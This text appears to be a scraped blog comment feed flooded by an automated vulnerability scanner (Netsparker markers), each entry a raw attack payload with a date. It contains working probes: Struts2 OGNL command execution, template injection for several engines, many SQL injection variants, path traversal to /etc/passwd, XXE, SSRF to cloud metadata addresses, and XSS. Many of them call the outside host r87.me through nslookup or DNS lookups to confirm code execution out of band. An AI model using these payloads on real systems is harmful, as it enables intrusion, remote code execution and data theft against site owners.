php://filter//resource=http://leo2yix4_dd5qrmdcxdpfwtdaxsf5gicbz80co2nhhv.r87.me/p/
Tue, 03 Feb 2026
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='4999').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c','SET /A 0xFFF9999 -' + #cmd}:{'/bin/bash','-c','expr 268409241 - ' + #cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Tue, 03 Feb 2026
/../../../../../../../../../../var/log/apache2/access.log
Tue, 03 Feb 2026
...//...//...//...//...//...//...//...//...//...//...//etc/passwd
Tue, 03 Feb 2026
&thisdoesntexists;
Tue, 03 Feb 2026
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "php://filter/read=convert.base64-encode/resource=http://leo2yix4"><!ENTITY % d "_dtx6jsf5erokdymh-ptt26rejjaykfpdv8.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"> %dtd;]><r>&a;</r>
Tue, 03 Feb 2026
64.20.35.186/elmah.axd
Tue, 03 Feb 2026
=268409241-61014
Tue, 03 Feb 2026
1 ns=netsparker(0x1795E9)
Tue, 03 Feb 2026
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup `whoami`."leo2yix4_dkdx_hkaxjck6bn0apsajdrwlj5c1yy""2_4.r87.me"').(#p=new java.lang.ProcessBuilder({'/bin/bash','-c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
Tue, 03 Feb 2026
(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))
Tue, 03 Feb 2026
http://r87.me/r/?id=leo2yix4_dbrhofink81herbueg8-ai0ktjhjou46fc
Tue, 03 Feb 2026
cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(108)||chr(101)||chr(111)||chr(50)||chr(121)||chr(105)||chr(120)||chr(52)||chr(95)||chr(100)||chr(110)||chr(100)||chr(115)||chr(120)||chr(95)||chr(110)||chr(113)||chr(119)||chr(105)||chr(108)||chr(114)||chr(56)||chr(109)||chr(114)||chr(115)||chr(120)||chr(117)||chr(121)||chr(104)||chr(119)||chr(98)||chr(120)||chr(54)||chr(116)||chr(57)||chr(120)||chr(121)||chr(113)||chr(104)||chr(111)||chr(103)||chr(111)||chr(117)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric)
Tue, 03 Feb 2026
ns:netsparker056650=vuln
Tue, 03 Feb 2026
/../../../../../../../../../../windows/win.ini.php
Tue, 03 Feb 2026
http://r87.com/n?.php
Tue, 03 Feb 2026
1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
Tue, 03 Feb 2026
leo2yix4_ddq4z32ha_ddevt15_ljwhvr0lufbllmz9.r87.me/p/
Tue, 03 Feb 2026
print localtime()*0+0xFFF9999-28564
Tue, 03 Feb 2026
/../../../../../../../../../../etc/httpd/logs/access.log
Tue, 03 Feb 2026
127.100.11.2/elmah.axd
Tue, 03 Feb 2026
....//....//....//....//....//....//....//....//....//....//....//etc/passwd
Tue, 03 Feb 2026
<%- 268409241-40267 %>
Tue, 03 Feb 2026
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup "leo2yix4_dnjcncd0fdvdzgeuhhnf4qqkzye7wk0"qyq.r87.me"').(#p=new java.lang.ProcessBuilder({'cmd.exe','/c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
Tue, 03 Feb 2026
//r87.com/n/n.css?0x179636
Tue, 03 Feb 2026
'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'
Tue, 03 Feb 2026
'||(SELECT dblink_connect('host=leo2yix4_dh_t45f0pitb3quqeljljjssqpgj7s8'||'nic.r87.me user=a password=a connect_timeout=2'))||'
Tue, 03 Feb 2026
ns:netsparker056650=vuln
Tue, 03 Feb 2026
c:\windows\win.ini
Tue, 03 Feb 2026
syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
Tue, 03 Feb 2026
eval('print localtime()*0+0xFFF9999-2663')
Tue, 03 Feb 2026
http://r87.com/n?.php
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
127.0.0.1/elmah.axd
Tue, 03 Feb 2026
/../../../../../../../../../../var/log/nginx/access.log
Tue, 03 Feb 2026
gethostbyname(trim('leo2yix4_dxkakbuw_psajvh3vfbhldzahf82nok'.'suu.r87.me'))
Tue, 03 Feb 2026
<#assign x=268409241 - 37763> ${x?string["0"]}
Tue, 03 Feb 2026
.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///etc/passwd
Tue, 03 Feb 2026
//r87.com/n/j/?0x1797D4
Tue, 03 Feb 2026
{{__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgbGVvMnlpeDRfZGl4d2U0bnZwcnNsYnkydHVva3duLXdtdmFkbmEtdGxzNC5yODcubWU=')).read()}}
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
'+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'
Tue, 03 Feb 2026
(select UTL_INADDR.GET_HOST_ADDRESS('leo2yix4_dvrcqtc7ilyk26os58sv0z_veknqtwb'||'oyo.r87.me') from DUAL)
Tue, 03 Feb 2026
1 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/
Tue, 03 Feb 2026
'"--></style>[removed][removed][removed]
Tue, 03 Feb 2026
...//...//...//...//...//...//...//...//...//...//...//windows/win.ini
Tue, 03 Feb 2026
php://filter//resource=http://r87.com/n?.php
Tue, 03 Feb 2026
'+print localtime()*0+0xFFF9999-6576+'
Tue, 03 Feb 2026
[::1]/elmah.axd
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
gethostbyname(trim('leo2yix4_d57v318btrukokx_mnm7km-6apwixcq'.'vcc.r87.me'));
Tue, 03 Feb 2026
/../../../../../../../../../../opt/lampp/logs/access_log
Tue, 03 Feb 2026
<%= "#{268409241-57927}" %>
Tue, 03 Feb 2026
. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /etc/passwd
Tue, 03 Feb 2026
'><net sparker=netsparker(0x179913)>
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
{% set d = "eval(__import__('base64').urlsafe_b64decode('X19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdiYXNlNjQnKS51cmxzYWZlX2I2NGRlY29kZSgnYm5Oc2IyOXJkWEFnYkdWdk1ubHBlRFJmWkdGc05HZHFaV1owYTJrNWJtVnBjVGhsWm05MlpXVmZObms0WVdSNVlWOHhjUzV5T0RjdWJXVT0nKSkucmVhZCgp'))" %}{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval'](d) }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
-1'+and+6=3+or+1=1+(SELECT+1+and+ROW(1,1)>(SELECT+COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)+'
Tue, 03 Feb 2026
(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('leo2yix4_dky4di44z8w-826mpohvzuh5rgqzwtc'||'e2a.r87.me') from DUAL))))
Tue, 03 Feb 2026
r87.com/n
Tue, 03 Feb 2026
<iMg xss=removed>
Tue, 03 Feb 2026
....//....//....//....//....//....//....//....//....//....//....//windows/win.ini
Tue, 03 Feb 2026
-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1
Tue, 03 Feb 2026
"+print localtime()*0+0xFFF9999-16339+"
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
+gethostbyname(trim('leo2yix4_du7mgra8g2wm96dmp6almyr51qhyjhq'.'npo.r87.me'));//
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
https://www.aosacademy.com/elmah
Tue, 03 Feb 2026
1/../../../../../../../../../../../etc/passwd
Tue, 03 Feb 2026
"><net sparker=netsparker(0x179A42)>
Tue, 03 Feb 2026
/../../../../../../../../../../var/log/lighttpd/access.log
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
Tue, 03 Feb 2026
= global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgbGVvMnlpeDRfZGNjdnFrenNhbm8wYzN4ZXBiaGp1Y2VwX3k5MnlnbHlxay5yODcubWU=','base64').toString())
Tue, 03 Feb 2026
'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('leo2yix4_dtks3ukvpukl9y4txbxluinxtgkefg3'||'tve.r87.me') from DUAL))||'
Tue, 03 Feb 2026
-1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand(0)*2))x from INFORMATION_SCHEMA.COLLATIONS group by x limit 1))-- 1
Tue, 03 Feb 2026
'+gethostbyname(trim('leo2yix4_dqkjyf6g2yol6pp8zmfef334gadmvrs'.'k2k.r87.me'))+'
Tue, 03 Feb 2026
<iMg src="//r87.me/images/1.jpg" xss=removed>
Tue, 03 Feb 2026
((select sleep(25)))a-- 1
Tue, 03 Feb 2026
.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///windows/win.ini
Tue, 03 Feb 2026
arguments[1].end(require('child_process').execSync('expr 268409241 - 81466'))
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
"& ping -n 25 127.0.0.1 &
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
www.aosacademy.com/elmah
Tue, 03 Feb 2026
'
Tue, 03 Feb 2026
/../../../../../../../../../../AppServ/Apache24/logs/access.log
Tue, 03 Feb 2026
Tue, 03 Feb 2026
/etc/passwd
Tue, 03 Feb 2026
<iMg>
Tue, 03 Feb 2026
<%- global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgbGVvMnlpeDRfZGNnd2pkZnhpczZyMmw5eG85Y3A3eDhfLWlkeW5pNm9mZS5yODcubWU=','base64').toString()) %>
Tue, 03 Feb 2026
(select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual)
Tue, 03 Feb 2026
(select UTL_INADDR.GET_HOST_ADDRESS(chr(108)||chr(101)||chr(111)||chr(50)||chr(121)||chr(105)||chr(120)||chr(52)||chr(95)||chr(100)||chr(103)||chr(121)||chr(51)||chr(52)||chr(114)||chr(120)||chr(114)||chr(115)||chr(54)||chr(118)||chr(107)||chr(103)||chr(115)||chr(121)||chr(113)||chr(120)||chr(106)||chr(112)||chr(117)||chr(114)||chr(118)||chr(119)||chr(102)||chr(117)||chr(97)||chr(112)||chr(98)||chr(117)||chr(55)||chr(120)||chr(111)||chr(111)||chr(119)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)
Tue, 03 Feb 2026
"+gethostbyname(trim('leo2yix4_dydztrrfwexs62ij91ym5q1xaiykixg'.'9pi.r87.me'))+"
Tue, 03 Feb 2026
NS-1NO
Tue, 03 Feb 2026
<fRame src=N onload="this.onload='';this.src='//leo2yix4_dyaokeccslap2pgmhfiiullzlhxmodi'+'sls.r87.me/r/?'+location.href">
Tue, 03 Feb 2026
. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /windows/win.ini
Tue, 03 Feb 2026
arguments[1].end(require('child_process').execSync('set /A 268409241 - 49075'))
Tue, 03 Feb 2026
'& ping -n 25 127.0.0.1 &
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
-1' OR 1=1 OR '1'='1
Tue, 03 Feb 2026
64.20.35.186/elmah
Tue, 03 Feb 2026
../../../../../../../../../../xampp/apache/logs/access.log
Tue, 03 Feb 2026
{php}Smarty_Resource::parseResourceName(system("nslookup leo2yix4_dcjy1lbmmfmponh03aimmhuqqddn72c"."krw.r87.me"),'b');{/php}
Tue, 03 Feb 2026
[removed]netsparker(0x179CA0)
Tue, 03 Feb 2026
/../../../../../../../../../../../etc/passwd
Tue, 03 Feb 2026
1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || '
Tue, 03 Feb 2026
(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(108)||chr(101)||chr(111)||chr(50)||chr(121)||chr(105)||chr(120)||chr(52)||chr(95)||chr(100)||chr(107)||chr(103)||chr(100)||chr(98)||chr(99)||chr(101)||chr(56)||chr(117)||chr(100)||chr(105)||chr(108)||chr(109)||chr(99)||chr(110)||chr(110)||chr(120)||chr(115)||chr(105)||chr(103)||chr(111)||chr(107)||chr(97)||chr(121)||chr(118)||chr(110)||chr(110)||chr(108)||chr(102)||chr(122)||chr(104)||chr(98)||chr(107)||chr(119)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))))
Tue, 03 Feb 2026
%{#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("a",268409241-72657)}
Tue, 03 Feb 2026
[removed][removed]
Tue, 03 Feb 2026
<? gethostbyname(trim('leo2yix4_dweofnvckax4daeybb5ty7wvhigjwxf'.'ijk.r87.me'));//?>
Tue, 03 Feb 2026
/../../../../../../../../../../windows/iis6.log
Tue, 03 Feb 2026
-1' OR 1=1 OR '1'='1
Tue, 03 Feb 2026
& ping -n 25 127.0.0.1 &
Tue, 03 Feb 2026
127.100.11.2/elmah
Tue, 03 Feb 2026
-1" OR 1=1 OR "1"="1
Tue, 03 Feb 2026
[removed]TlM3NzU0NTYxNDQ2NTc1
Tue, 03 Feb 2026
p "#{0xFFF9999.to_i-`echo 79933`.to_i}"
Tue, 03 Feb 2026
/../../../../../../../../../../var/log/apache/access.log
Tue, 03 Feb 2026
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("nslookup leo2yix4_doisftydhgbftl277tir1xkl9hj9mo_"~"vpw.r87.me")}}
Tue, 03 Feb 2026
[removed]ns(0x179D4A)[removed]
Tue, 03 Feb 2026
1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1
Tue, 03 Feb 2026
";l=document.createElement("link");l.rel="prefetch";l.href="//leo2yix4_dttvq1gmuuvdybdh1dmjb4we33ozhpy"+"oeo.r87.me/r/?"+location.href;document.head.appendChild(l);//
Tue, 03 Feb 2026
'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(108)||chr(101)||chr(111)||chr(50)||chr(121)||chr(105)||chr(120)||chr(52)||chr(95)||chr(100)||chr(53)||chr(106)||chr(120)||chr(52)||chr(118)||chr(114)||chr(97)||chr(110)||chr(120)||chr(57)||chr(117)||chr(104)||chr(100)||chr(100)||chr(113)||chr(104)||chr(109)||chr(103)||chr(104)||chr(99)||chr(116)||chr(115)||chr(114)||chr(50)||chr(111)||chr(119)||chr(103)||chr(110)||chr(110)||chr(99)||chr(95)||chr(49)||chr(99)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))||'
Tue, 03 Feb 2026
'{${gethostbyname(trim('leo2yix4_dutfkevkittlz9qiyqyejhlt_zd6n3j'.'evi.r87.me'))}}'
Tue, 03 Feb 2026
-1" OR 1=1 OR "1"="1
Tue, 03 Feb 2026
/../../../../../../../../../../proc/self/fd/2
Tue, 03 Feb 2026
"& SET /A 0xFFF9999-95919 &
Tue, 03 Feb 2026
ping -n 25 127.0.0.1 &
Tue, 03 Feb 2026
__import__('os').popen(('expr 268409241 - {0}').format('91320')).read()
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
<%a style=x:expre/**/ssion(netsparker(0x179E98))>
Tue, 03 Feb 2026
127.0.0.1/elmah
Tue, 03 Feb 2026
5
Tue, 03 Feb 2026
<%= "#{(require'base64';%x(#{Base64.urlsafe_decode64('bnNsb29rdXAgbGVvMnlpeDRfZG93dWFxbDR3M29hYWJuZHlycDViY3I0X19hajNhYnNlZy5yODcubWU=')})).to_s}" %>
Tue, 03 Feb 2026
Tue, 03 Feb 2026
';l=document.createElement("link");l.rel="prefetch";l.href="//leo2yix4_dog7jqft5sxskjfjkdqljpmdcrtjzup"+"6aq.r87.me/r/?"+location.href;document.head.appendChild(l);//
Tue, 03 Feb 2026
1';SELECT pg_sleep(25)--
Tue, 03 Feb 2026
createobject("WScript.Shell").exec("nslookup leo2yix4_dmg7qfmysepi0bzi1xjdwnufo4nyz8z" & "kh0.r87.me").StdOut.ReadAll
Tue, 03 Feb 2026
/../../../../../../../../../../proc/self/fd/2.php
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
'& SET /A 0xFFF9999-12349 &
Tue, 03 Feb 2026
"&ping -w 25 127.0.0.1 &"
Tue, 03 Feb 2026
__import__('os').popen(('SET /A 268409241 - {0}').format('80828')).read()
Tue, 03 Feb 2026
[::1]/elmah
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
n;ns:[removed]netsparker(0x179EE7));
Tue, 03 Feb 2026
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("bash -c {eval,$({tr,/+,_-}<<<bnNsb29rdXAgbGVvMnlpeDRfZHItaW90dDNoZXJrNHZyd29iMWV1cmZrOWN6dWNnaHNoZS5yODcubWU=|{base64,--decode})}") }
Tue, 03 Feb 2026
Tue, 03 Feb 2026
1;SELECT pg_sleep(25)--
Tue, 03 Feb 2026
+createobject("WScript.Shell").exec("nslookup leo2yix4_dyhk_6o_qrxagejtdwaysyvtxeyjiww" & "8kc.r87.me").StdOut.ReadAll
Tue, 03 Feb 2026
5
Tue, 03 Feb 2026
/../../../../../../../../../../etc/httpd/logs/error.log
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
& SET /A 0xFFF9999-19840 &
Tue, 03 Feb 2026
'&ping -w 25 127.0.0.1 &'
Tue, 03 Feb 2026
http://aws.r87.me/latest/meta-data/public-hostname
Tue, 03 Feb 2026
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("cmd.exe /c nslookup leo2yix4_du6i2m8hlx1h6vw6ndd9aiem-3vkzuz"+"ftc.r87.me") }
Tue, 03 Feb 2026
body{x:[removed]netsparker(0x17A091))}
Tue, 03 Feb 2026
'
Tue, 03 Feb 2026
Tue, 03 Feb 2026
+createobject("WScript.Shell").exec("nslookup leo2yix4_dnx8ybmlubmmrn8sas_dkqdywnxlhrj" & "b2w.r87.me").StdOut.ReadAll+
Tue, 03 Feb 2026
SELECT pg_sleep(25)--
Tue, 03 Feb 2026
/blog/add_blog_comment/5
Tue, 03 Feb 2026
/../../../../../../../../../../etc/httpd/logs/error_log
Tue, 03 Feb 2026
SET /A 0xFFF9999-79194 &
Tue, 03 Feb 2026
NS-1NO
Tue, 03 Feb 2026
http://r87.com/?www.aosacademy.com/
Tue, 03 Feb 2026
&ping -w 25 127.0.0.1 &
Tue, 03 Feb 2026
require 'resolv';Resolv.getaddress ("leo2yix4_dmafpdb3tiryd8yzx8l99fnsiwe-nxz".concat "2cg.r87.me")
Tue, 03 Feb 2026
http://169.254.169.254/latest/meta-data/public-hostname
Tue, 03 Feb 2026
Tue, 03 Feb 2026
1);SELECT pg_sleep(25)--
Tue, 03 Feb 2026
<%createobject("WScript.Shell").exec("nslookup leo2yix4_di0_kgwoehgjw1vzqoafp_otkqeeg7m" & "lsa.r87.me").StdOut.ReadAll%>
Tue, 03 Feb 2026
-1' OR 1=1 OR '1'='1
Tue, 03 Feb 2026
*/netsparker(0x17A1E4);/*
Tue, 03 Feb 2026
/add_blog_comment/5
Tue, 03 Feb 2026
SET /A 0xFFF9999-45337
Tue, 03 Feb 2026
/../../../../../../../../../../var/log/apache2/error.log
Tue, 03 Feb 2026
-1' OR 1=1 OR '1'='1
Tue, 03 Feb 2026
ping -w 25 127.0.0.1 &
Tue, 03 Feb 2026
http://127.0.0.1:22
Tue, 03 Feb 2026
__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgbGVvMnlpeDRfZGJodG9icDVubHpzejF0azBtMGUyeHdrdTh4NXNhdWhkYS5yODcubWU=')).read()
Tue, 03 Feb 2026
1');SELECT pg_sleep(25)--
Tue, 03 Feb 2026
-1" OR 1=1 OR "1"="1
Tue, 03 Feb 2026
Tue, 03 Feb 2026
"+createobject("WScript.Shell").exec("nslookup leo2yix4_dgy3ih9ieskc81aan5h-3vypqwesfme" & "r5s.r87.me").StdOut.ReadAll+"
Tue, 03 Feb 2026
'+netsparker(0x17A293)+'
Tue, 03 Feb 2026
| SET /A 0xFFF9999-41581
Tue, 03 Feb 2026
-1" OR 1=1 OR "1"="1
Tue, 03 Feb 2026
/../../../../../../../../../../var/log/apache/error.log
Tue, 03 Feb 2026
http://r87.com/?www.aosacademy.com/
Tue, 03 Feb 2026
WEB-INF/web.xml
Tue, 03 Feb 2026
ping -n 25 127.0.0.1
Tue, 03 Feb 2026
http://64.20.35.186:22
Tue, 03 Feb 2026
1'));SELECT pg_sleep(25)--
Tue, 03 Feb 2026
"+netsparker(0x17A321)+"
Tue, 03 Feb 2026
gethostbyname(lc 'leo2yix4_d31-ow0nzpqa7i2uvjmwbba9trvgi-o'.'9lu.r87.me')
Tue, 03 Feb 2026
//r87.com/?http://www.aosacademy.com/
Tue, 03 Feb 2026
1";expr 268409241 - 87175;"
Tue, 03 Feb 2026
/../../../../../../../../../../proc/version
Tue, 03 Feb 2026
ping -w 25 127.0.0.1
Tue, 03 Feb 2026
http://[::1]:22
Tue, 03 Feb 2026
/../../../../../../../../../../WEB-INF/web.xml
Tue, 03 Feb 2026
1));SELECT pg_sleep(25)--
Tue, 03 Feb 2026
\';netsparker(0x17A570);///
Tue, 03 Feb 2026
eval('gethostbyname(lc 'leo2yix4_duloiljhnmufl9az0xueblm8leyqfj4'.'uze.r87.me')')
Tue, 03 Feb 2026
r87.com/?www.aosacademy.com/
Tue, 03 Feb 2026
1';expr 268409241 - 49952;'
Tue, 03 Feb 2026
http://127.0.0.1:3306
Tue, 03 Feb 2026
|ping -n 25 127.0.0.1
Tue, 03 Feb 2026
/../../../../../../../../../../proc/version.php
Tue, 03 Feb 2026
/../../../../../../../../../../var/log/apache2/access.log
Tue, 03 Feb 2026
((SELECT(1)FROM(SELECT(SLEEP(25)))A))
Tue, 03 Feb 2026
/../../../../../../../../../../boot.ini
Tue, 03 Feb 2026
',netsparker(0x17A6C7),'
Tue, 03 Feb 2026
1;expr 268409241 - 61442;x
Tue, 03 Feb 2026
'+gethostbyname(lc 'leo2yix4_dwnr5jzculq_ar44qdv05fevpv0rbw5'.'xzm.r87.me')+'
Tue, 03 Feb 2026
r87.com/?http://www.aosacademy.com/
Tue, 03 Feb 2026
'
Tue, 03 Feb 2026
http://64.20.35.186:3306
Tue, 03 Feb 2026
/../../../../../../../../../../etc/httpd/logs/access.log
Tue, 03 Feb 2026
/../../../../../../../../../../../etc/passwd
Tue, 03 Feb 2026
'+((SELECT 1 FROM (SELECT SLEEP(25))A))+'
Tue, 03 Feb 2026
/../../../../../../../../../../boot.ini.php
Tue, 03 Feb 2026
netsparker(0x17A73D)
Tue, 03 Feb 2026
"+gethostbyname(lc 'leo2yix4_dkgnizfgy3psonjkncxbrzffjchy4am'.'zf8.r87.me')+"
Tue, 03 Feb 2026
r87.com/?https://www.aosacademy.com/
Tue, 03 Feb 2026
expr 268409241 - 69227;
Tue, 03 Feb 2026
http://[::1]:3306
Tue, 03 Feb 2026
(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)
Tue, 03 Feb 2026
-1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+'
Tue, 03 Feb 2026
/../../../../../../../../../../var/log/nginx/access.log
Tue, 03 Feb 2026
file:///etc/passwd
Tue, 03 Feb 2026
1/../../../../../../../../../../boot.ini
Tue, 03 Feb 2026
nslookup leo2yix4_dmc89wmgnzhlj7jwfiw73eabyuxasnr^qck.r87.me&'\"`0&nslookup leo2yix4_dmc89wmgnzhlj7jwfiw73eabyuxasnr^qck.r87.me&`'
Tue, 03 Feb 2026
/\r87.com/?www.aosacademy.com/
Tue, 03 Feb 2026
netsparker(0x17A7D7);
Tue, 03 Feb 2026
expr 268409241 - 98456
Tue, 03 Feb 2026
https://www.aosacademy.com/server-status
Tue, 03 Feb 2026
'+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'
Tue, 03 Feb 2026
-1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))
Tue, 03 Feb 2026
/../../../../../../../../../../../etc/passwd
Tue, 03 Feb 2026
file:///boot.ini
Tue, 03 Feb 2026
/../../../../../../../../../../opt/lampp/logs/access_log
Tue, 03 Feb 2026
<!--#exec cmd="expr 268409241 - 53600"-->
Tue, 03 Feb 2026
& nslookup leo2yix4_dv3x77acma6rfoodmtnlnx42qmthv2j^c7a.r87.me&'\"`0&nslookup leo2yix4_dv3x77acma6rfoodmtnlnx42qmthv2j^c7a.r87.me&`'
Tue, 03 Feb 2026
'+netsparker(0x17A957)+'
Tue, 03 Feb 2026
exec('xp_dirtree ''\\leo2yix4_dgoexm54hbxbqm9xepbcsur6ddlawmc'+'ka8.r87.me'+'\c$\a''')
Tue, 03 Feb 2026
///r87.com/?www.aosacademy.com/
Tue, 03 Feb 2026
http://169.254.169.254/opc/v1/instance
Tue, 03 Feb 2026
convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))
Tue, 03 Feb 2026
response.write(268409241-53531)'
Tue, 03 Feb 2026
/../../../../../../../../../../../etc/passwd.php
Tue, 03 Feb 2026
-1" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+"
Tue, 03 Feb 2026
c:\boot.ini
Tue, 03 Feb 2026
https://metadata.packet.net/metadata
Tue, 03 Feb 2026
/../../../../../../../../../../var/log/lighttpd/access.log
Tue, 03 Feb 2026
|expr${IFS}268409241${IFS}-${IFS}41317
Tue, 03 Feb 2026
'& nslookup leo2yix4_dz64gkctv2yddoj5_4clmwatwut_6ql^4hk.r87.me&'\"`0&nslookup leo2yix4_dz64gkctv2yddoj5_4clmwatwut_6ql^4hk.r87.me&`'
Tue, 03 Feb 2026
'"@--></style>[removed][removed]netsparker(0x17AAF2)[removed]
Tue, 03 Feb 2026
<iframe src="http://r87.com/?"></iframe>
Tue, 03 Feb 2026
